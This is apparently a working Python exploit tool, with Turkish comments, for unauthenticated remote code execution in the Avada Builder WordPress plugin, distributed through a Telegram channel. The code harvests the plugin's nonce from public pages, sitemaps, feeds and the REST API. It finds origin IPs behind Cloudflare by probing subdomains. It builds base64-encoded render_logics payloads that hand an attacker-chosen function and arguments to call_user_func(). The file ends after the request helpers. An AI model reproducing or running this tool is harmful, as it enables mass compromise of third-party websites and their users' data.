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| #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
╔═══════════════════════════════════════════════════════════════════════╗
║ CVE-2026-6279 — Avada Builder <= 3.15.2 ║
║ Unauthenticated Remote Code Execution via call_user_func() ║
║ ║
║ Vulnerability Chain (resmi CVE'den): ║
║ 1. fusion_load_nonce → UID 0 için deterministik, public sayfalarda ║
║ [fusion_post_cards] veya [fusion_table_of_contents] shortcode'u ║
║ olan sayfalarda JS çıktısına eklenir ║
║ 2. wp_ajax_nopriv_fusion_get_widget_markup → auth gerektirmez ║
║ 3. render_logics → base64 JSON decode ║
║ 4. get_value() wp_conditional_tags case → call_user_func() ALLOWLIST YOK ║
║ 5. RCE ║
║ ║
║ Copyright © 2026 private ║
║ Signature: https://t.me/FreeToolsCpa ║
║ Special Thanks: all poeple 💜 ║
╚═══════════════════════════════════════════════════════════════════════╝
"""
import requests, base64, json, re, sys, time, socket
import urllib3, threading, random, string, os
from queue import Queue, Empty
from datetime import datetime
from packaging import version as pkg_version
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
TIMEOUT = 12
VERIFY_SSL = False
VULN_MAX_VERSION = "3.15.2"
SIGNATURE = "https://t.me/FreeToolsCpa"
S1 = "___XN1337_S1___"
S2 = "___XN1337_S2___"
R = "\033[91m"
G = "\033[92m"
Y = "\033[93m"
C = "\033[96m"
M = "\033[95m"
P = "\033[1m"
DM = "\033[2m"
W = "\033[97m"
N = "\033[0m"
# ──────────────────────────────────────────────────────────────
# CF IP RANGES
# ──────────────────────────────────────────────────────────────
CF_RANGES = [
"103.21.","103.22.","103.31.","104.16.","104.17.",
"104.18.","104.19.","104.20.","104.21.","104.22.",
"108.162.","131.0.","141.101.","162.158.","172.64.",
"172.65.","172.66.","172.67.","172.68.","172.69.",
"172.70.","172.71.","188.114.","190.93.","197.234.",
"198.41.","199.27.",
]
def is_cf_ip(ip):
return any(ip.startswith(r) for r in CF_RANGES)
# ──────────────────────────────────────────────────────────────
# HTTP HELPERS
# ──────────────────────────────────────────────────────────────
UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/124.0.0.0 Safari/537.36"
def mksess(extra_headers=None):
s = requests.Session()
s.headers.update({
"User-Agent" : UA,
"Accept" : "text/html,application/xhtml+xml,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.9",
"Accept-Encoding": "gzip, deflate, br",
"Connection" : "keep-alive",
})
if extra_headers:
s.headers.update(extra_headers)
s.verify = VERIFY_SSL
return s
def resolve(t):
t = t.strip().rstrip("/")
if re.match(r'^https?://', t): return t
return f"http://{t}"
def try_https(sess, base):
if base.startswith("http://"):
https = base.replace("http://","https://")
try:
r = sess.get(https+"/", timeout=TIMEOUT)
if r.ok: return https
except: pass
return base
def shell_escape(cmd):
return cmd.replace("\\","\\\\").replace("'","\\'")
def rand_tmp():
r = ''.join(random.choices(string.ascii_lowercase, k=8))
return f"/tmp/._{r}"
# ──────────────────────────────────────────────────────────────
# NONCE
#
# Resmi CVE'ye göre:
# fusion_load_nonce sadece şu shortcode'ları içeren sayfalarda üretilir:
# - [fusion_post_cards]
# - [fusion_table_of_contents]
# Bu nedenle nonce tarama bu shortcode'ları içeren sayfaları önceliklendirir.
# Nonce UID 0 için deterministik → public sayfada JS çıktısına eklenir.
# ──────────────────────────────────────────────────────────────
# Resmi CVE: bu iki shortcode nonce'u tetikler
NONCE_TRIGGER_SHORTCODES = [
"fusion_post_cards",
"fusion_table_of_contents",
]
# Nonce pattern'leri — fusionPostCardsVars ve fusionTableOfContentsVars önce
NONCE_PATTERNS = [
# Resmi CVE: bu iki değişken nonce'u taşır
r'fusionPostCardsVars\s*[=,]\s*\{[^}]{0,600}"nonce"\s*:\s*"([a-zA-Z0-9]{8,12})"',
r'fusionTableOfContentsVars\s*[=,]\s*\{[^}]{0,600}"nonce"\s*:\s*"([a-zA-Z0-9]{8,12})"',
# Genel fusion nonce pattern'leri
r'fusionLoadNonce\s*=\s*["\x27]([a-zA-Z0-9]{8,12})',
r'"fusion_load_nonce"\s*:\s*"([a-zA-Z0-9]{8,12})"',
r"fusion_load_nonce[\"'\s:=]+[\"']([a-zA-Z0-9]{8,12})",
r'fusionVars[^}]{0,400}"nonce"\s*:\s*"([a-zA-Z0-9]{8,12})"',
r'fusionWidgetVars[^}]{0,400}"nonce"\s*:\s*"([a-zA-Z0-9]{8,12})"',
r'awb_nonce["\s:=]+([a-zA-Z0-9]{8,12})',
]
NONCE_BLACKLIST = [
r'um_scripts',r'mecdata',r'woocommerce',r'yoast',
r'elementor',r'contact.form',r'wpforms',r'_wpnonce',
r'learnpress',r'buddypress',
]
AVADA_INDICATORS = [
'fusion-builder','fusion_load_nonce','fusionloadnonce',
'avada','fusion-scripts','awb-','fusion_dynamic_css',
'fusionVars','fusionPostCardsVars','fusion-menu',
'fusion_post_cards','fusion_table_of_contents',
]
# Resmi CVE: shortcode içeren sayfalar önce taranmalı
# [fusion_post_cards] → blog, portfolio, news gibi sayfalarda
# [fusion_table_of_contents] → uzun içerikli sayfalarda
SLUGS_SHORTCODE = [
# [fusion_post_cards] olma ihtimali yüksek
"blog","news","portfolio","work","projects","shop",
"services","gallery","events","articles","posts",
"case-studies","insights","updates","resources",
# [fusion_table_of_contents] olma ihtimali yüksek
"about","about-us","faq","documentation","docs",
"guide","tutorial","terms","privacy","legal",
"knowledge-base","help","support",
]
SLUGS_FORM = [
# Form sayfaları — fusion_form shortcode
"contact","contact-us","get-in-touch","iletisim",
"register","signup","booking","demo","free-trial",
"request-quote","appointment","quote","teklif",
]
SLUGS_FALLBACK = [
"","home","pricing","team","testimonials",
"careers","partners","sample-page",
]
SITEMAP_PATHS = [
"/sitemap.xml","/sitemap_index.xml","/wp-sitemap.xml",
"/sitemap-index.xml","/post-sitemap.xml","/page-sitemap.xml",
]
def _is_blacklisted(line):
l = line.lower()
return any(re.search(p, l) for p in NONCE_BLACKLIST)
def ekstrak_nonce(html):
"""
Resmi CVE'ye göre önce fusionPostCardsVars ve
fusionTableOfContentsVars içindeki nonce'u ara.
"""
if not html: return ""
lines = html.splitlines()
for pat in NONCE_PATTERNS:
m = re.search(pat, html, re.IGNORECASE | re.DOTALL)
if not m: continue
val = m.group(1)
if len(val) < 8: continue
nline = next((l for l in lines if val in l),"")
if _is_blacklisted(nline): continue
return val
return ""
def has_trigger_shortcode(html):
"""
Resmi CVE: nonce sadece bu shortcode'ları içeren sayfalarda üretilir.
HTML'de shortcode izlerini ara (rendered veya raw).
"""
if not html: return False
lower = html.lower()
return (
"fusion_post_cards" in lower or
"fusion_table_of_contents" in lower or
"fusionpostcardsvars" in lower or
"fusiontableofcontentsvars" in lower
)
def is_avada(html):
return any(k in html.lower() for k in AVADA_INDICATORS)
def fetch_nonce_from_url(url, extra_headers=None):
sess = mksess(extra_headers)
try:
r = sess.get(url, timeout=TIMEOUT)
if r.ok:
n = ekstrak_nonce(r.text)
if n: return n, url
except: pass
return "", url
def _parse_sitemap(sess, url, depth=0, max_depth=2):
if depth > max_depth: return []
pages = []
try:
r = sess.get(url, timeout=TIMEOUT)
if not r.ok: return pages
locs = re.findall(r'<loc>(.*?)</loc>', r.text)
for loc in locs:
if ".xml" in loc and ("sitemap" in loc.lower() or "index" in loc.lower()):
pages.extend(_parse_sitemap(sess, loc, depth+1, max_depth))
else:
pages.append(loc.rstrip("/"))
except: pass
return pages
def _sitemaps_from_robots(sess, base):
sitemaps = []
try:
r = sess.get(f"{base}/robots.txt", timeout=TIMEOUT)
if r.ok:
for line in r.text.splitlines():
line = line.strip()
if line.lower().startswith("sitemap:"):
sitemaps.append(line.split(":",1)[1].strip())
except: pass
return sitemaps
def deep_scan_nonce(base, host_header=None, verbose=False):
"""
Resmi CVE'ye göre nonce tarama sırası:
1. Shortcode slug'ları (fusion_post_cards / fusion_table_of_contents)
2. Form slug'ları
3. Fallback slug'lar
4. Sitemap'ten bulunan sayfalar — shortcode içerenler önce
5. RSS Feed
6. REST API
7. Kalan linkler
"""
extra = {"Host": host_header} if host_header else None
sess = mksess(extra)
shortcode_urls = [] # shortcode içerdiği tespit edilen sayfalar
found_urls = [] # diğer sayfalar
def _check(url, html):
n = ekstrak_nonce(html)
if n:
if verbose:
sc = " [shortcode✓]" if has_trigger_shortcode(html) else ""
log_ok(f"nonce: {M}{n}{N}{sc} {DM}(src: {url}){N}")
return n, url
return "",""
def _fetch_and_check(url):
try:
r = sess.get(url if url.endswith("/") else url+"/",
timeout=TIMEOUT)
if not r.ok: return "",""
n, src = _check(url, r.text)
if n: return n, src
# shortcode var ama nonce henüz yok → listeye ekle
if has_trigger_shortcode(r.text):
shortcode_urls.append(url)
elif is_avada(r.text):
links = re.findall(
r'href=["\'](' + re.escape(base) + r'[^"\'#?]+)["\']',
r.text)
found_urls.extend(links[:5])
except: pass
return "",""
# 1. Shortcode slug'ları
for slug in SLUGS_SHORTCODE:
url = f"{base}/{slug}/"
n, src = _fetch_and_check(url)
if n: return n, src
# 2. Form slug'ları
for slug in SLUGS_FORM:
url = f"{base}/{slug}/"
n, src = _fetch_and_check(url)
if n: return n, src
# 3. Fallback slug'lar
for slug in SLUGS_FALLBACK:
url = f"{base}/{slug}/" if slug else f"{base}/"
n, src = _fetch_and_check(url)
if n: return n, src
# 4. Sitemap
sm_paths = list(SITEMAP_PATHS)
for sm_url in _sitemaps_from_robots(sess, base):
path = sm_url.replace(base,"")
if path not in sm_paths: sm_paths.append(path)
for sm in sm_paths:
url = f"{base}{sm}" if not sm.startswith("http") else sm
found_urls.extend(_parse_sitemap(sess, url)[:30])
# 5. RSS Feed
for feed in [f"{base}/feed/", f"{base}/rss/", f"{base}/?feed=rss2"]:
try:
r = sess.get(feed, timeout=TIMEOUT)
if r.ok:
for link in re.findall(r'<link>(https?://[^<]+)</link>', r.text):
found_urls.append(link.rstrip("/"))
except: pass
# 6. REST API
for ep in [f"{base}/wp-json/wp/v2/posts?per_page=20",
f"{base}/wp-json/wp/v2/pages?per_page=20"]:
try:
r = sess.get(ep, timeout=TIMEOUT)
if r.ok:
data = r.json() if isinstance(r.json(), list) else []
for item in data[:20]:
u = item.get("link", item.get("url",""))
if u: found_urls.append(u.rstrip("/"))
except: pass
# 7. Shortcode içerdiği tespit edilenler önce, sonra diğerleri
seen = set()
for u in shortcode_urls + found_urls:
if u in seen: continue
seen.add(u)
try:
r = sess.get(u, timeout=TIMEOUT)
if r.ok:
n, src = _check(u, r.text)
if n: return n, src
except: pass
return "",""
# ──────────────────────────────────────────────────────────────
# ORIGIN IP (CF bypass)
# ──────────────────────────────────────────────────────────────
def find_origin_ip(domain):
subdomains = [
f"mail.{domain}", f"ftp.{domain}", f"smtp.{domain}",
f"direct.{domain}", f"origin.{domain}", f"server.{domain}",
f"cpanel.{domain}", f"webmail.{domain}", f"ns1.{domain}",
f"ns2.{domain}", f"api.{domain}", f"dev.{domain}",
f"staging.{domain}", f"test.{domain}", f"old.{domain}",
f"shop.{domain}", f"store.{domain}", f"blog.{domain}",
f"m.{domain}", f"mobile.{domain}", f"static.{domain}",
]
origins = []
for sub in subdomains:
try:
ip = socket.gethostbyname(sub)
if not is_cf_ip(ip): origins.append(ip)
except: pass
try:
ip = socket.gethostbyname(domain)
if not is_cf_ip(ip): origins.append(ip)
except: pass
return list(set(origins))
def verify_origin_ajax(ip, domain):
for scheme in ["http","https"]:
url = f"{scheme}://{ip}/wp-admin/admin-ajax.php"
try:
r = requests.get(
url,
headers={"Host": domain, "User-Agent": UA},
timeout=TIMEOUT, verify=VERIFY_SSL,
)
if r.status_code == 200 and r.text.strip() in ("0",""):
return scheme, url
except: pass
return None, None
# ──────────────────────────────────────────────────────────────
# PAYLOAD
#
# Yapı B (good8 çalışan):
# render_logics = base64({"type":"wp_conditional_tags",
# "value":{"function":f,"args":"id"}})
# direkt POST field, widget_type ile birlikte
#
# Yapı A (good7 orijinal, fallback):
# data = json({"widget_id":"exploit",
# "render_logics":[{"condition_type":...,
# "condition_value":base64(...)}]})
# ──────────────────────────────────────────────────────────────
def b64j(obj):
return base64.b64encode(
json.dumps(obj, separators=(',',':')).encode()
).decode()
def make_post_B(nonce, func, arg_str, widget_type):
"""good8 çalışan yapı — render_logics direkt POST, args string"""
return {
"action" : "fusion_get_widget_markup",
"fusion_load_nonce": nonce,
"render_logics" : b64j({
"type" : "wp_conditional_tags",
"value": {"function": func, "args": arg_str},
}),
"widget_type": widget_type,
"type" : widget_type,
"widget_id" : "2",
"number" : "2",
}
def make_post_A(nonce, func, args_list):
"""good7 orijinal yapı — data JSON içinde, args liste"""
return {
"action" : "fusion_get_widget_markup",
"fusion_load_nonce": nonce,
"data" : json.dumps({
"widget_id" : "exploit",
"render_logics": [{
"condition_type" : "wp_conditional_tags",
"condition_value": b64j({"function": func, "args": args_list}),
}],
}),
}
def ekstrak_s(raw):
i1 = raw.find(S1); i2 = raw.find(S2)
if i1!=-1 and i2!=-1 and i2>i1:
return raw[i1+len(S1):i2].strip()
return ""
def strip_wrapper(body):
body = body.strip()
if not body: return ""
try:
j = json.loads(body)
if isinstance(j, dict):
d = j.get("data", j.get("output",""))
if d: return str(d)
except: pass
return body
# ──────────────────────────────────────────────────────────────
# AJAX CORE
# ──────────────────────────────────────────────────────────────
def _ajax(sess, ajax_url, post_data, host=None):
h = {
"X-Requested-With": "XMLHttpRequest",
"Origin" : re.sub(r'/wp-admin.*','',ajax_url),
"Referer": re.sub(r'/wp-admin.*','',ajax_url)+"/",
}
if host: h["Host"] = host
try:
r = sess.post(ajax_url, headers=h, data=post_data, timeout=TIMEOUT)
return r.status_code, r.text
except: return 0,""
def _ajax_retry(sess, ajax_url, post_data,
nonce_src="", host=None, retry=2):
"""Nonce expire olursa otomatik yenile."""
cur = post_data
for attempt in range(retry+1):
st, body = _ajax(sess, ajax_url, cur, host)
if st==403 and body.strip()=="-1":
if attempt<retry and nonce_src:
n,_ = fetch_nonce_from_url(nonce_src,
{"Host":host} if host else None)
if n:
cur = dict(cur)
cur["fusion_load_nonce"] = n
continue
return 403,"__NONCE_EXPIRED__"
return st, body
return 403,"__NONCE_EXPIRED__"
# ──────────────────────────────────────────────────────────────
|
